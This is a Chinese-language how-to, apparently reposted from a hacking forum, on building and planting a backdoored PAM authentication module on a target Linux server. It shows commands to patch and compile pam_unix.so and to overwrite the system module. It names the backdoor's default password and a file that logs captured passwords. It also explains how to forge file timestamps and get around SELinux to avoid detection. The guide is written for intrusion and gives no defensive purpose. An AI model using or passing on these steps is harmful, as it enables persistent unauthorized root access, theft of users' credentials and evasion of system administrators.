PAM后门编译安装 -电脑资料

    PAM有许多版本，我们首先要从官方下载目标所使用的PAM源码包，并在本地修改后编译生成出pam_unix.so文件进行替换

    http://www.linux-pam.org/library/

    https://fedorahosted.org/releases/l/i/linux-pam/

    获取目标系统所使用的PAM版本：

rpm -qa|grep pam

    下载后，在对应的系统环境下(32或x86_64位系统下)编译生成后门,patch目录下的“pam_unix_auth.c.patch”文件就是

    补丁文件，pam_unix_auth.c 是PAM

    1.1.1版本pam_unix.so的源文件，仅作参考，

PAM后门编译安装

mv pam_unix_auth.c.patch Linux-PAM-1.1.1/modules/pam_unix/cd Linux-PAM-1.1.1/modules/pam_unixpatch < pam_unix_auth.c.patchcd ../.././configure & make

    编译完后的文件在：modules/pam_unix/.libs/pam_unix.so

    后门的默认密码：root123

    记录密码的文件：/tmp/pslog

    将生成的pam_uninx.so文件覆盖/lib/secruity/pam_unix.so或/lib64/security/pam_unix.so(记得备份原始文件)，修改文件属性，手动建立密码保存文件，并使用touch命令克隆文件时间，如果selinux是开启的环境，一定要关掉或者设置好上下文pam_unix.so才能正常工作，搞定ok，

电脑资料

    手动创建密码文件：

touch /tmp/pslog;chmod a+w /tmp/pslog

    克隆原始文件时间：

touch pam_unix.so -r pam_unix.so.src

    查看Selinux上下文：

ls -Z pam_unix.so.src (备份的原始文件)

    设置Selinux上下文：

chcon –reference=pam_unix.so.src pam_unix.so

    编译报错问题：

    64位系统编译可能会遇到yywrap()函数未定义错误，只需安装flex软件包就可以正常编译了

    示例：

yum install flex

    下载地址:

    1感谢乌云某个兄弟

    2不要在骂我了